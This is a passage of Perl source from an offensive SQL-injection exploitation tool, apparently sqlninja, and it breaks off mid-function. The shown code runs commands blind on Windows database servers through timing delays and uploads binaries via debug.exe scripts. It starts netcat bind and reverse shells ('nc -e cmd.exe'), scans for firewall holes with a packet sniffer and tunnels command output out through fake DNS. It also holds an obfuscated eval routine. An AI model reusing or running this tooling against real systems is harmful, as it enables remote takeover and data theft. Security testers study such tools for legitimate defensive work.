2002	my $max = 0;
2003	my $candidate = $lines;
2004	my $delay;
2005	while ($max == 0) {
2006		$delay=singlelinescheck($candidate);
2007		if ($delay > ($blindtime - 2)) {
2008			$max = $candidate;
2009		} else {
2010			$min = $candidate;
2011			$candidate = $candidate*2;
2012		}
2013	}
2014
2015	# Now we know that the number is between $min and $max
2016	if ($verbose == 1) {
2017		local $/=\1;
2018		local $|=1;
2019		print "Trying... ";
2020	}
2021	while ($max != $min) {
2022		$candidate = int(($max+$min)/2);
2023		if ($verbose == 1) {
2024			local $/=\1;
2025			local $|=1;
2026			print $candidate."... ";
2027		}
2028		$delay = singlelinescheck($candidate);
2029		if ($delay > ($blindtime-2)) {
2030			$max = $candidate;
2031		} else {
2032			$min = $candidate+1;
2033		}
2034	}
2035	if ($verbose == 1) {
2036		print "\n";
2037	}
2038	print "[-] ".$max." lines were uploaded instead of ".$lines."\n";
2039	$cmd = "del %TEMP%\\lines.txt";
2040	my $command=createcommand($cmd);
2041	my $result = sendrequest($command);
2042}
2043
2044# Perform a single check on the number of lines
2045sub singlelinescheck
2046{
2047	my $cmd = "for /F \"tokens=3\" %i in (%TEMP%\\lines.txt) do ".
2048		     "(if %i LEQ ".$_[0]." ping -n ".$blindtime." 127.0.0.1)";
2049	my $command = createcommand($cmd);
2050	my $delay = tryblind($command);
2051	return $delay;
2052}
2053
2054# Checks whether a file is present on the remote server
2055sub checkfile
2056{
2057	my $file = $_[0];
2058	my $cmd = "if exist $file (ping -n $blindtime 127.0.0.1)";
2059	my $command = createcommand($cmd);
2060	my $delay = tryblind($command);
2061	if ($delay > ($blindtime - 2)) {
2062		return 1;
2063	} else {
2064		return 0;
2065	}
2066}
2067
2068sub checkremotesize
2069{
2070	my $file = $_[0]; # file to check
2071	my $size = $_[1]; # expected size
2072	if ($_[1] > 0) {
2073		$size = add_separators($size);
2074	}
2075	# File size can be token 3 or 4 depending on cmd.exe version
2076	my $cmd = "dir \%TEMP\%\\".$file." | ".
2077             "find \"".$file."\" > \%TEMP\%\\xtst.txt & ".
2078             "for /F \"tokens=3\" \%i in (\%TEMP\%\\xtst.txt) do ".
2079             "(if \"\%i\" equ \"".$size."\" ping -n ".$blindtime." 127.0.0.1)  & ".
2080	     "for /F \"tokens=4\" \%i in (\%TEMP\%\\xtst.txt) do ".
2081	     "(if \"\%i\" equ \"".$size."\" ping -n ".$blindtime." 127.0.0.1)  & ".
2082             "del \%TEMP\%\\xtst.txt.";
2083	my $command = createcommand($cmd);
2084	my $delay = tryblind($command);
2085	if ($delay > ($blindtime-2)) {
2086		return 1;
2087	} else {
2088		return 0;
2089	}
2090}
2091
2092# Formats a string by adding a comma to separate each set of 3 digits
2093# Needed to check filesizes under Windows
2094# Old version of this function was 15 lines, and buggy.
2095# This one is 2 lines long, and correct.
2096# I suck, and KevinADC rocks :/
2097sub add_separators
2098{
2099	(my $num = shift) =~ s/\G(\d{1,3})(?=(?:\d\d\d)+(?:\.|$))/$1,/g;
2100	return $num;
2101}
2102
2103# Convert a binary file to its debug script representation
2104# File must not be larger than 0xFEFF (0xFFFF-0x100) bytes
2105sub makescr
2106{
2107	my $file = $_[0]; # Binary input file
2108	my $output = $_[1]; # Script output file
2109
2110	# Here we create the new file, and we set its size in the cx register
2111	my $script = "n %TEMP%\\#temp#\nr cx\n";
2112	my $filesize = -s $file;
2113	if ($filesize > 65535) {
2114		die "[-] file is too big for debug.exe\n";
2115	}
2116	$filesize = sprintf("%x",$filesize);
2117	$script .= $filesize."\n";
2118
2119	# We zero all the memory segment
2120	$script .= "f 0100 ffff 00\n";
2121
2122	my $record;
2123	my @a;
2124	my $template = "C";
2125	my $counter = 256; # Position where to write the bytes. 256 = 0x100 :)
2126	my $counter2 = 0; # Number of consecutive bytes in the current script line
2127	my $b;
2128	my $string = "";
2129	open (FILE, "<".$file);
2130	# Jussi's algorithm here: we set bytes that are different from zero
2131	# Each script line sets up to 20 non-zero consecutive bytes
2132	while (read(FILE,$record,1)) {
2133		@a = unpack($template,$record);
2134		foreach (@a)  {
2135			$b = sprintf("%02x",$_); # byte value in hex
2136			if ($_ ne "0") {
2137			$counter2++;
2138				if ($string eq "") { # Beginning of a new script line
2139					$string = "e ".sprintf("%x",$counter)." ".$b;
2140				} else { # We append to the current script line
2141					$string .= " ".$b;
2142				}
2143			} else {
2144				if ($string ne "") {
2145					$script .= $string."\n"; # end of current line
2146					$string = "";
2147					$counter2 = 0;
2148				}
2149			}
2150		}
2151		$counter++;
2152		if ($counter2 == 20) { # reached 20 bytes in the current script line
2153			$script .= $string."\n";
2154			$string = "";
2155			$counter2 = 0;
2156		}
2157	}
2158	# All bytes read.... flush what's left in $string
2159	if ($string ne "") {
2160		$script .= $string."\n";
2161	}
2162	$script .= "w\nq\n"; # Yay! Write the file and exit
2163	open (OUT, ">".$output) or die "Can't write to ".$output."\n";
2164	print OUT $script;
2165	if ($verbose == 1) {
2166	        print "[v] Debug script created successfully\n";
2167	}
2168	close FILE;
2169	close OUT;
2170}
2171
2172# Direct tcp and udp shell
2173sub dirshell {
2174	if ($verbose == 1) {
2175		print "  [v] Starting dirshell module\n";
2176	}
2177	my $rport;
2178	my $rhost;
2179	my $proto;
2180
2181	print "Host to connect to [".$host."]: ";
2182	$rhost = <STDIN>;
2183	chomp ($rhost);
2184	if ($rhost eq "") {
2185		$rhost = $host;
2186	}
2187	$rport = 0;
2188	print "Remote port: ";
2189	$rport = <STDIN>;
2190	chomp($rport);
2191	# of course it must be a number
2192	while ($rport > 65535 or $rport < 1 or $rport !~ m/^\d+$/) {
2193		print "Port must be between 1 and 65535 (RFC 793, dude)\n";
2194		print "Remote port: ";
2195		$rport = <STDIN>;
2196		chomp($rport);
2197	}
2198	while (($proto ne "tcp") and ($proto ne "udp")) {
2199		print "tcp/udp [default: tcp]: ";
2200		$proto = <STDIN>;
2201		chomp($proto);
2202		if ($proto eq "") {
2203			$proto = "tcp";
2204		}
2205	}
2206	my $command;
2207	my $cmd;
2208	if ($proto eq "udp") {
2209		$cmd = "\%TEMP\%\\nc -u -l -e cmd.exe -p ".$rport;
2210	} else {
2211		$cmd = "\%TEMP\%\\nc -l -e cmd.exe -p ".$rport;
2212	}
2213	if ($churrasco == 1) {
2214		$cmd = usechurrasco($cmd);
2215	}
2216	$command = createcommand($cmd);
2217	# Launch the process for the web request
2218	print "[+] Sending the request to the web server....\n";
2219	my $requestpid = fork();
2220	if ($requestpid == -1) {
2221		print "Can't fork: $!\n";
2222		exit(1);
2223	}
2224	# child: send the request and exit
2225	if ($requestpid == 0) {
2226		my $result = sendrequest($command);
2227		exit(0);
2228	}
2229	# father: wait and contact the shell daemom
2230	my $t = 3;
2231	print "[+] Waiting ".$t." seconds for the remote command ".
2232				"to execute... \n";
2233	sleep($t);
2234	print "[+] Trying to contact the remote host... \n";
2235	if ($proto eq "udp") {
2236		udpdirshell($rhost, $rport);
2237	} else {
2238		tcpdirshell($rhost, $rport);
2239	}
2240	kill ("TERM", $requestpid);
2241	exit(0);
2242}
2243
2244# tcp shell client
2245sub tcpdirshell
2246{
2247	if ($verbose == 1) {
2248		print "  [v] Creating client socket...\n";
2249	}
2250	my $handle = IO::Socket::INET->new
2251	(
2252		PeerAddr => $_[0],
2253		PeerPort => $_[1],
2254		Proto    => 'tcp',
2255		Type     => SOCK_STREAM
2256	);
2257	if (! defined($handle)) {
2258		print "Could not create socket\n";
2259		return (1);
2260	}
2261	local $/=\1;
2262	local $|=1;
2263
2264	my $kidpid;
2265	my $line;
2266	die "can't fork: $!" unless defined($kidpid = fork());
2267	if ($kidpid == 0) {
2268		while (defined($line=<$handle>)) {
2269			print STDOUT $line;
2270		}
2271		kill("TERM", $kidpid);
2272	} else {
2273		while (defined($line = <STDIN>)) {
2274			print $handle $line;
2275		}
2276	}
2277	close $handle;
2278}
2279
2280# udp shell client
2281sub udpdirshell
2282{
2283	if ($verbose == 1) {
2284		print "  [v] Creating client socket...\n";
2285	}
2286	my $handle = IO::Socket::INET->new
2287	(
2288		PeerAddr => $_[0],
2289		PeerPort => $_[1],
2290		Proto    => 'udp'
2291	);
2292	if (!defined($handle)) {
2293		print "Could not create socket\n";
2294		return (1);
2295	}
2296	local $/=\1;
2297	local $|=1;
2298	my $kidpid;
2299	my $char;
2300	my $command;
2301	print $handle "\n";
2302	die "can't fork: $!" unless defined($kidpid = fork());
2303	if ($kidpid == 0) {
2304		while (defined ($char = <$handle>)) {
2305			print $char;
2306		}
2307	} else {
2308		sleep 2;
2309		while (defined($char = <STDIN>)) {
2310			$handle->send($char);
2311			if ($char ne "\n") {
2312				$command = $command.$char;
2313			} else {
2314				if ($command eq "exit") {
2315					print "exiting... \n";
2316					kill ("TERM",$kidpid);
2317					close $handle;
2318					return (0);
2319				} else {
2320					$command = "";
2321				}
2322			}
2323		}
2324	}
2325}
2326
2327
2328# Reverse tcp and udp shell
2329sub revshell
2330{
2331	if ($verbose == 1) {
2332		print "  [v] Starting revshell module\n";
2333	}
2334	my $lport;
2335	my $proto;
2336
2337	$lport = 0;
2338	print "Local port: ";
2339	$lport = <STDIN>;
2340	chomp($lport);
2341	# of course it must be a number
2342	while ($lport > 65535 or $lport < 1 or $lport !~ m/^\d+$/) {
2343		print "Port must be between 1 and 65535 (RFC 793, dude)\n";
2344		print "Local port: ";
2345		$lport = <STDIN>;
2346		chomp($lport);
2347	}
2348	while (($proto ne "tcp") and ($proto ne "udp") and ($proto ne "\x72\x6F\x63\x6B")) {
2349		print "tcp/udp [default: tcp]: ";
2350		$proto = <STDIN>;
2351		chomp($proto);
2352		if ($proto eq "") {
2353			$proto = "tcp";
2354		}
2355	}
2356	if ($proto eq "\x72\x6F\x63\x6B") {
2357		r();
2358		exit(0);
2359	}
2360	my $command;
2361	my $cmd;
2362	if ($verbose == 1) {
2363		print "  [v] Starting listener process\n";
2364	}
2365	if ($proto eq "udp") {
2366		my $listenerpid = fork();
2367		if ($listenerpid == 0) {
2368			udplistener($lport);
2369			exit(0);
2370		}
2371		$cmd = "\%TEMP\%\\nc -u -e cmd.exe ".$lhost." ".$lport;
2372	} else {
2373		my $listenerpid = fork();
2374		if ($listenerpid) {
2375			tcplistener($lport);
2376			exit(0);
2377		}
2378		$cmd = "\%TEMP\%\\nc -e cmd.exe ".$lhost." ".$lport;
2379	}
2380	if ($churrasco == 1) {
2381		$cmd = usechurrasco($cmd);
2382	}
2383	$command = createcommand($cmd);
2384	my $result = sendrequest($command);
2385}
2386
2387# Undocumented but doesn't do anything nasty :)
2388sub r
2389{
2390my $__=2359296;my $s="02).4~}\"{}7%,#/";my $s_=2**16;$s.="-%~4/~31,.).*!~2!\$)
2391/";$__/=$s_;$s.="~0,!9%2||";$__=sqrt($__);$_=+$__/($_+1)+0x40A4FE22;$_++;$s.="
2392})";$__**=2;$s.="~(/0%~9/5~(!6%~-0,!9%2~).34!,,%\$~^^}{}\"";my $___="*"x$__;$s
2393.=";3934%-_\"-0,!9%2~(4";$s.="40[]]6%.53`3(!20Z342%!-`#/-]0,!.%42/#+~\\]\$%6].
23945,,\"_";$_="";while($s=~/(.)/g){my $x=ord($1)+1-1;if(($x!=34)and($x<=89)and($x
2395!=59)){$_.=chr($x+64);}else{$_.=$1}}$_=~s/\^\^/:)/;$_=~s/\[/:/g;$_=~s/{/$___/g
2396;$_=~s/\[/:/g;$_=~s/_/\(/;$_=~s/\\/>/;$_=~s/\|/!/g;$_=~s/w/W/;$_=~s/_/\)/;$_=~
2397s/\]/\//g;$_=~s/`/./g;$_=~s/}i/}I/;$_=~s/Z/-/;$_=~s/~/ /g;$_=~s/}/\n/g;eval$_;
2398}
2399
2400# Local server for tcp reverse shell
2401sub tcplistener
2402{
2403	my $lport = $_[0];
2404	if ($verbose == 1) {
2405		print "  [v] Creating local listening tcp socket\n";
2406	}
2407	my $server=IO::Socket::INET->new (Proto     => 'tcp',
2408					  LocalPort => $lport,
2409					  Listen    => 1,
2410					  Reuse	    => 1)
2411		|| die "can't create local socket on port ".$lport.": $!";
2412	print "[+] waiting for shell on port ".$lport."/tcp...\n";
2413
2414	my $client = $server->accept()
2415			|| die "can't establish connection with peer: $!";
2416	my $kidpid;
2417	die "can't fork: $!" unless defined($kidpid = fork());
2418	my $char;
2419
2420	# this is needed to visualize the dos prompt even
2421	# if a newline is not present at its end
2422	local $/=\1;
2423	local $|=1;
2424
2425	# we receive the output here
2426	if ($kidpid != 0) {
2427		while (defined($char=<$client>)) {
2428			print $char;
2429		}
2430		kill ("TERM",$kidpid);
2431	} else {
2432		# and here we issue the commands
2433		while (defined ($char = <STDIN>)) {
2434			print $client $char;
2435		}
2436	}
2437	if ($verbose == 1) {
2438		print "  [v] Closing listening socket\n";
2439	}
2440	close $server;
2441	close $client;
2442}
2443
2444# Local server for udp reverse shell
2445sub udplistener
2446{
2447	my $lport = $_[0];
2448	if ($verbose == 1) {
2449		print "  [v] Creating local listening udp socket\n";
2450	}
2451	my $server=IO::Socket::INET->new (Proto	   => 'udp',
2452					 LocalPort => $lport)
2453		|| die "can't create local socket on port ".$lport.": $!";
2454	print "[+] waiting for shell on port ".$lport."/udp...\n";
2455
2456	my $kidpid;
2457	my $char;
2458	local $/=\1;
2459	local $|=1;
2460	my $i;
2461	my $command;
2462	$server->recv($char,256);
2463	print $char;
2464	my ($pp,$aa);
2465	($pp,$aa) = sockaddr_in($server->peername);
2466	$kidpid = fork();
2467	if ($kidpid == -1) {
2468		die "can't fork: $!";
2469	}
2470	# child process........
2471	if ($kidpid == 0) {
2472		while (defined ($char = <$server>)) {
2473			print $char;
2474		}
2475	}
2476	# parent process........
2477	else {
2478		while (defined ($char = <STDIN>)) {
2479			$char =~ s/\n/\r\n/g;
2480			$server->send($char);
2481			if ($char ne "\n") {
2482				$command = $command.$char;
2483			} else {
2484				if ($command eq "exit") {
2485					print "exiting.... \n";
2486					kill ("TERM",$kidpid);
2487					close $server;
2488					exit(0);
2489				} else {
2490					$command = "";
2491				}
2492			}
2493		}
2494	}
2495}
2496
2497
2498# Performs a tcp/udp backscan trying to find a hole in the firewall
2499# Creates 3 subprocesses: the first sniffs the interface, the second
2500# performs the request to the web server. The parent then waits for their
2501# messages and when the second process exits it spawns the third, which
2502# waits for the timeout specified in the conf file and then signals
2503# the father, which finally kills the children and exits
2504sub backscan
2505{
2506	if ($verbose == 1) {
2507		print "  [v] Starting backscan module\n";
2508	}
2509	my $snifferpid; # the sniffer
2510	my $requestpid; # the web requestor
2511	my $timeoutpid; # the timeout after the web request exits
2512
2513	# Get the ports to scan
2514	my $ports;
2515	print "Ports to try (es. \"80 443-445\"): ";
2516	$ports = <STDIN>;
2517	chomp($ports);
2518	while (checkports($ports) != 0) {
2519		print "You must specify ports with a netcat-like syntax\n";
2520		print "Check sqlninja-howto.html for more info\n";
2521		$ports = <STDIN>;
2522		chomp($ports);
2523	}
2524	# $ports =~ s/\s/+/g;
2525
2526	# Get the protocol to use
2527	my $proto;
2528	while (($proto ne "tcp") and ($proto ne "udp")) {
2529		print "tcp/udp [default: tcp]: ";
2530		$proto = <STDIN>;
2531		chomp($proto);
2532		if ($proto eq "") {
2533			$proto = "tcp";
2534		}
2535	}
2536
2537	print ("[+] Starting ".$proto." backscan on host ".$host.".....\n");
2538
2539	# start a socket to listen for messages from children
2540	my $ninjasock = genfile();
2541	unlink $ninjasock;
2542	if ($verbose == 1) {
2543		print "  [v] Starting local UNIX socket\n";
2544	}
2545	my $server = new IO::Socket::UNIX->new(Local => $ninjasock,
2546					       Type  => SOCK_DGRAM,
2547					       Listen   => 5)
2548				|| die "could not create UNIX socket\n";
2549	my $msg; # message from children
2550	my $ok; # flag for successfully received packet
2551	my @okports;  # allowed ports from server
2552
2553	if ($verbose == 1) {
2554		print "  [v] Starting sniffer process\n";
2555	}
2556	# spawn sniffer
2557	$snifferpid = fork();
2558	if ($snifferpid == -1) {
2559		print "can't fork sniffer process !\n";
2560		unlink $ninjasock;
2561		exit(1);
2562	}
2563	if ($snifferpid == 0) {
2564		$server->close;
2565		sniff($proto, $ninjasock);
2566		exit (0);
2567	}
2568	if ($verbose == 1) {
2569		print "  [v] Starting web request process\n";
2570	}
2571	# spawn the process for the web request
2572	$requestpid = fork();
2573	if ($requestpid == -1) {
2574		print "can't fork web request process !\n";
2575		kill TERM => $snifferpid;
2576		unlink $ninjasock;
2577		exit(1);
2578	}
2579	if ($requestpid == 0) {
2580		$server->close;
2581		backscanrequest($lhost,$ports,$proto,$ninjasock);
2582		exit(0);
2583	}
2584
2585	# receive port numbers from the sniffer until the
2586	# web requestor communicates it is done
2587	if ($verbose == 1) {
2588		print "  [v] Recording successful ports\n";
2589	}
2590	recordports($server,$ok,\@okports,"finished");
2591
2592	# spawn the timeout child, to wait for some more packets to
2593	# arrive
2594	if ($verbose == 1) {
2595		print "  [v] Web request finished... waiting for last packets\n";
2596	}
2597	$timeoutpid = fork();
2598	if ($timeoutpid == -1) {
2599		print "can't fork timeout child !\n";
2600		kill TERM => $snifferpid;
2601		unlink $ninjasock;
2602		exit(1);
2603	}
2604	if ($timeoutpid == 0) {
2605		sleep($timeout);
2606		my $s = IO::Socket::UNIX->new(Peer => $ninjasock,
2607		 			       Type     => SOCK_DGRAM,
2608					       Timeout  => 10);
2609		$s->send("timeout");
2610		close $s;
2611		exit(0);
2612	}
2613
2614	# receive port numbers from the sniffer until timeout
2615	recordports($server,$ok,\@okports,"timeout");
2616
2617	print "[+] shutting down sniffer...\n";
2618	kill TERM => $snifferpid;
2619
2620	unlink $ninjasock;
2621
2622	if ($ok == 1) {
2623		print "Now launch the Ninja in revshell mode and have fun!\n";
2624	} else {
2625		print "Sorry... no packets received\n";
2626	}
2627}
2628
2629# Records the successful ports until interrupted by the other child
2630# Parameters:
2631# $_[0] = parent socket
2632# $_[1] = $ok
2633# $_[2] = \@okports
2634# $_[3] = exit string awaited from child
2635sub recordports
2636{
2637	my $msg;
2638	while ($msg ne $_[3]) {
2639		$_[0]->recv($msg,16,0);
2640		if (($msg < 65535) and ($msg > 0)) {
2641			$_[1] = 1;
2642			if (${$_[2]}[$msg] == 0) {
2643				printf "port ".$msg." ok !\n";
2644				${$_[2]}[$msg] = 1;
2645			}
2646		}
2647	}
2648}
2649
2650sub backscanrequest
2651{
2652	my $lhost = $_[0];
2653	my $ports = $_[1];
2654	my $proto = $_[2];
2655	my $ninjasock = $_[3];
2656	my $cmd;
2657	my $command;
2658	my $result;
2659	if ($proto eq "udp") {
2660		# we need to issue a command (e.g.: hostname.exe) for an
2661		# UDP packet to be created...
2662		$cmd = "\%TEMP\%\\nc -e hostname -u ".$lhost." ".$ports;
2663	} else {
2664		$cmd = "\%TEMP\%\\nc ".$lhost." ".$ports;
2665	}
2666	$command = createcommand($cmd);
2667	$result = sendrequest($command);
2668	 my $s = IO::Socket::UNIX->new(Peer => $ninjasock,
2669	                               Type     => SOCK_DGRAM,
2670			               Timeout  => 10);
2671	$s->send("finished");
2672	close $s;
2673}
2674
2675# Anti script kiddies ;)
2676sub _
2677{
2678if ($0 !~ m/.*\/\x73\x71\x6c\x6e\x69\x6e\x6a\x61$/i) {
2679	print"\x0a\x64\x75\x64\x65\x2c\x20\x74\x68\x65\x20\x66\x69\x6c\x65\x6e".
2680	"\x61\x6d\x65\x20\x4d\x55\x53\x54\x20\x62\x65\x20\x22\x73\x71\x6c\x6e".
2681	"\x69\x6e\x6a\x61\x22\x2e\x20\x55\x73\x65\x20\x74\x68\x65\x20\x70\x72".
2682	"\x6f\x70\x65\x72\x20\x6e\x61\x6d\x65\x20\x61\x6e\x64\x20\x74\x72\x79".
2683	"\x20\x61\x67\x61\x69\x6e\x0a\x0a";exit(0);
2684      }
2685}
2686
2687# sniff the interface for backscan results
2688sub sniff
2689{
2690	my $filter;
2691	my $proto = $_[0];
2692	my $ninjasock = $_[1];
2693	# TODO: filter host must be changed: NAT could mess up things
2694	my $size = 1500;
2695	my $tout = 3;
2696	my $err;
2697	if ($verbose == 1) {
2698		print "  [v] Looking for sniffing device info\n";
2699	}
2700	my ($address,$netmask);
2701	if (Net::Pcap::lookupnet($dev,\$address,\$netmask,\$err)) {
2702		die "Unable to look up device information for".$dev."\n";
2703	}
2704	if ($verbose == 1) {
2705		print "  [v] Initializing pcap object\n";
2706	}
2707	my $pcap = Net::Pcap::open_live($dev,$size,0,0,\$err);
2708	unless (defined $pcap) {
2709		die "Unable to create packet capture on ".$dev."\n".
2710				"...are you sure you have r00t privileges ?";
2711	}
2712	# Create filter string from conf file and protocol
2713	my $filterstring;
2714	if ($proto eq "udp") {
2715		$filterstring = $filterconf." and udp";
2716	} else {
2717		$filterstring = $filterconf." and tcp[tcpflags] & ".
2718					    "tcp-syn != 0 && ".
2719					    "tcp[tcpflags] & tcp-ack == 0";
2720	}
2721	if ($verbose == 1) {
2722		print "  [v] Compiling packet capture filter: ".$filterstring."\n";
2723	}
2724	Net::Pcap::compile(
2725		$pcap,
2726		\$filter,
2727		$filterstring,
2728		0,
2729		$netmask
2730	) && die 'Unable to compile packet capture filter';
2731	Net::Pcap::setfilter($pcap, $filter) &&
2732	    die 'Unable to set packet capture filter';
2733
2734	my $offset = linkoffset($pcap);
2735	my $globref = [$offset,$ninjasock];
2736	if ($verbose == 1) {
2737		print "  [v] Stripping ".$offset." bytes for datalink header\n";
2738	}
2739	if ($proto eq "udp") {
2740		Net::Pcap::loop($pcap,-1,\&dmpudp,$globref);
2741	} else {
2742		Net::Pcap::loop($pcap,-1,\&dmptcp,$globref);
2743	}
2744}
2745
2746# callback function for analyzing incoming tcp packets
2747sub dmptcp
2748{
2749	my ($globref,$header,$packet) = @_;
2750	my ($offset,$ninjasock) = @{$globref};
2751	my $ip_packet = substr($packet,$offset);
2752	my $ip = NetPacket::IP->decode($ip_packet);
2753	my $tcp = NetPacket::TCP->decode($ip->{'data'});
2754	my $port = $tcp->{'dest_port'};
2755	my $s = IO::Socket::UNIX->new(Peer => $ninjasock,
2756				      Type     => SOCK_DGRAM,
2757				      Timeout  => 10);
2758	$s->send($port);
2759	close $s;
2760}
2761
2762# callback function for analyzing incoming udp packets
2763sub dmpudp
2764{
2765	my ($globref,$header,$packet) = @_;
2766	my ($offset,$ninjasock) = @{$globref};
2767	my $ip_packet = substr($packet,$offset);
2768	my $ip = NetPacket::IP->decode($ip_packet);
2769	my $udp = NetPacket::UDP->decode($ip->{'data'});
2770	my $port = $udp->{'dest_port'};
2771	my $s = IO::Socket::UNIX->new(Peer => $ninjasock,
2772	                              Type     => SOCK_DGRAM,
2773				      Timeout  => 10);
2774	$s->send($port);
2775	close $s;
2776}
2777
2778# Checks that ports indicated for backscan module respect the netcat syntax
2779# Return 0 if correct. 1 Otherwise
2780sub checkports()
2781{
2782	my $ports = $_[0];
2783	my @portarray;
2784	my $p;
2785	# Check that only digits, hyphens and whitespaces are entered
2786	if ($ports !~ m/^[\d\-\s]+$/) {
2787		return 1;
2788	}
2789	@portarray = split(/ /,$ports);
2790	foreach $p (@portarray) {
2791		# Single port ?
2792		if ($p =~ m/^(\d+)$/) {
2793			if (($1 > 0) and ($1 < 65536)) {
2794				next;
2795			} else {
2796				return 1;
2797			}
2798		}
2799		# Port range ?
2800		elsif ($p =~ m/^(\d+)-(\d+)$/) {
2801			if (($1 > 0) and ($2 < 65536) and ($1 <= $2)) {
2802				next;
2803			} else {
2804				return 1;
2805			}
2806		}
2807		# None of the above... wrong
2808		return 1;
2809
2810	}
2811	return 0;
2812}
2813
2814# Generate a random filename to use for UNIX sockets
2815# A fixed filename causes problems when a spurious file was left
2816# from a previous execution that exited uncleanly and the file can't
2817# be unlink()-ed by the current user
2818sub genfile
2819{
2820	my $rnd = int(rand()*65535);
2821	my $filename = "/tmp/.ninjasocket_".$rnd;
2822	return $filename;
2823}
2824
2825
2826# Attempt to tunnelize command output in DNS queries
2827# URL-encode the command, then call dnssend()
2828# dnstunnel.exe must have been uploaded first
2829sub dnstunnel
2830{
2831	print "[+] Starting dnstunnel mode...\n";
2832	if ($verbose == 1) {
2833		print "  [v] Be sure you uploaded dnstunnel.exe already\n";
2834	}
2835	print "[+] Use \"exit\" to be dropped back to your shell.\n";
2836	my $cmd;
2837	while (1) {
2838		print "dnstunnel> ";
2839		$cmd = <STDIN>;
2840		chomp($cmd);
2841		if ($cmd eq "exit") {
2842			print "Thank you for using sqlninja... see ya\n";
2843			exit(0);
2844		}
2845		if ($cmd ne "") {
2846			dnssend($cmd);
2847		}
2848	}
2849}
2850
2851# Sends the command to dnstunnel.exe and waits for the results
2852sub dnssend
2853{
2854	my $cmd = $_[0];
2855	my $requestpid; # pid of the web request
2856	my $decoderpid; # pid of the message decoder
2857	my $dnspid;     # pid of the fake DNS server
2858	my $timeoutpid; # pid of the timeout process
2859	unlink $dnssock;
2860
2861	# Create the server socket that will receive messages from children
2862	my $ninjasock;
2863	$ninjasock=genfile();
2864	unlink $ninjasock;
2865	if ($verbose == 1) {
2866		print "  [v] Starting local UNIX socket\n";
2867	}
2868	my $server = new IO::Socket::UNIX->new(Local => $ninjasock,
2869					       Type  => SOCK_DGRAM,
2870					       Listen=> 5)
2871				|| die "can't create UNIX socket: $!\n";
2872	my $msg; # message to the UNIX socket
2873
2874	# spawn fake dns server
2875	if ($verbose == 1) {
2876		print "  [v] Starting dns server process\n";
2877	}
2878	$dnspid = fork();
2879	if ($dnspid == -1) {
2880		print "can't fork dns server process\n";
2881		close $server;
2882		unlink $ninjasock;
2883		exit(1);
2884	}
2885	if ($dnspid == 0) {
2886		$server->close;
2887		dnsserver();
2888		exit(0);
2889	}
2890	# spawn decoder process
2891	if ($verbose == 1) {
2892		print "  [v] Starting decoder process\n";
2893	}
2894	$decoderpid = fork();
2895	if ($decoderpid == -1) {
2896		print "can't fork decoder process\n";
2897		close $server;
2898		unlink $ninjasock;
2899		unlink $dnssock;
2900		exit(1);
2901	}
2902	if ($decoderpid == 0) {
2903		$server->close;
2904		decodedns($ninjasock);
2905		exit(0);
2906	}
2907	# spawn the process for the web request
2908	if ($verbose == 1) {
2909		print "  [v] Starting web request process\n";
2910	}
2911	$requestpid = fork();
2912	if ($requestpid == -1) {
2913		print "can't fork web request process\n";
2914		close $server;
2915		unlink $ninjasock;
2916		unlink $dnssock;
2917		exit(1);
2918	}
2919	if ($requestpid == 0) {
2920		$server->close;
2921		dnstunnelrequest($cmd);
2922		my $s = IO::Socket::UNIX->new(Peer => $ninjasock,
2923					      Type => SOCK_DGRAM,
2924					      Timeout => 10);
2925		$s->send("webdone");
2926		close $s;
2927		exit(0);
2928	}
2929
2930	# Now wait for news....
2931	$server->recv($msg,16,0);
2932
2933	# case 1: the decoder receives the full message and
2934	# visualizes it. We kill the children and that's it
2935	if ($msg eq "decoded") {
2936		kill TERM => $requestpid;
2937		kill TERM => $dnspid;
2938		kill TERM => $decoderpid;
2939		close $server;
2940		unlink $ninjasock;
2941		unlink $dnssock;
2942		return;
2943	}
2944
2945	# case 2: the web request returns but the decoder hasn't
2946	# finished receiving the messages yet
2947	# Since there is no other case, if we don't receive
2948	# "webdone" something is wrong
2949	if ($msg ne "webdone") {
2950		kill TERM => $dnspid;
2951		kill TERM => $decoderpid;
2952		close $server;
2953		unlink $ninjasock;
2954		unlink $dnssock;
2955		print "Unexpected message: ".$msg.".... must be a bug\n";
2956		exit(1);
2957	}
2958
2959	# spawn the timeout child, to wait for some more packets
2960	# to arrive
2961	if ($verbose == 1) {
2962		print "  [v] Web request finished... waiting for last packets\n";
2963	}
2964	$timeoutpid = fork();
2965	if ($timeoutpid == -1) {
2966		 print "can't fork timeout child !\n";
2967		 kill TERM => $dnspid;
2968		 kill TERM => $decoderpid;
2969		 close $server;
2970		 unlink $ninjasock;
2971		 unlink $dnssock;
2972		 exit(1);
2973	}
2974	if ($timeoutpid == 0) {
2975		$server->close;
2976		sleep(6);
2977		my $s = IO::Socket::UNIX->new(Peer => $ninjasock,
2978					   Type => SOCK_DGRAM,
2979					   Timeout => 10);
2980		$s->send("timeout");
2981		close $s;
2982		exit(0);
2983	}
2984
2985	# Wait for more news
2986	$server->recv($msg,16,0);
2987
2988	# case 1 again...
2989	if ($msg eq "decoded") {
2990		kill TERM => $timeoutpid;
2991		kill TERM => $dnspid;
2992		kill TERM => $decoderpid;
2993		close $server;
2994		unlink $ninjasock;
2995		unlink $dnssock;
2996		return;
2997	}
2998
2999	# case 2 again...
3000	if ($msg ne "timeout") {
3001		kill TERM => $dnspid;
3002		kill TERM => $decoderpid;
3003		close $server;
3004		unlink $ninjasock;
3005		unlink $dnssock;
3006		print "Unexpected message.... must be a bug\n";
3007		exit(1);
3008	}
3009
3010	print "Some DNS packets seem to got lost.... try again\n";
3011
3012	kill TERM => $dnspid;
3013	kill TERM => $decoderpid;
3014	close $server;
3015	unlink $ninjasock;
3016	unlink $dnssock;
3017	return;
3018}
3019
3020sub dnstunnelrequest
3021{
3022	my $cmd = "\%TEMP\%\\dnstun.exe ".$domain." ".$hostnamelen." ".$_[0];
3023	if ($churrasco == 1) {
3024		$cmd = usechurrasco($cmd);
3025	}
3026	my $command = createcommand($cmd);
3027	my $result = sendrequest($command);
3028}
3029
3030# Sniff dns requests and processes them
3031sub dnsserver
3032{
3033	my $ns = Net::DNS::Nameserver->new(
3034			LocalAddr	=> "0.0.0.0",
3035			LocalPort    => 53,
3036			ReplyHandler => \&reply_handler,
3037			Verbose      => 0
3038		) || die "could't create nameserver object\n";
3039	$ns->main_loop;
3040}
3041
3042sub reply_handler
3043{
3044	my ($qname, $qclass, $qtype, $peerhost) = @_;
3045	my ($rcode, @ans, @auth, @add);
3046	if (($qtype ne "A") or ($qname !~ /$domain/)) {
3047		return;
3048	}
3049	my ($ttl,$rdata) = (0,$resolvedip);
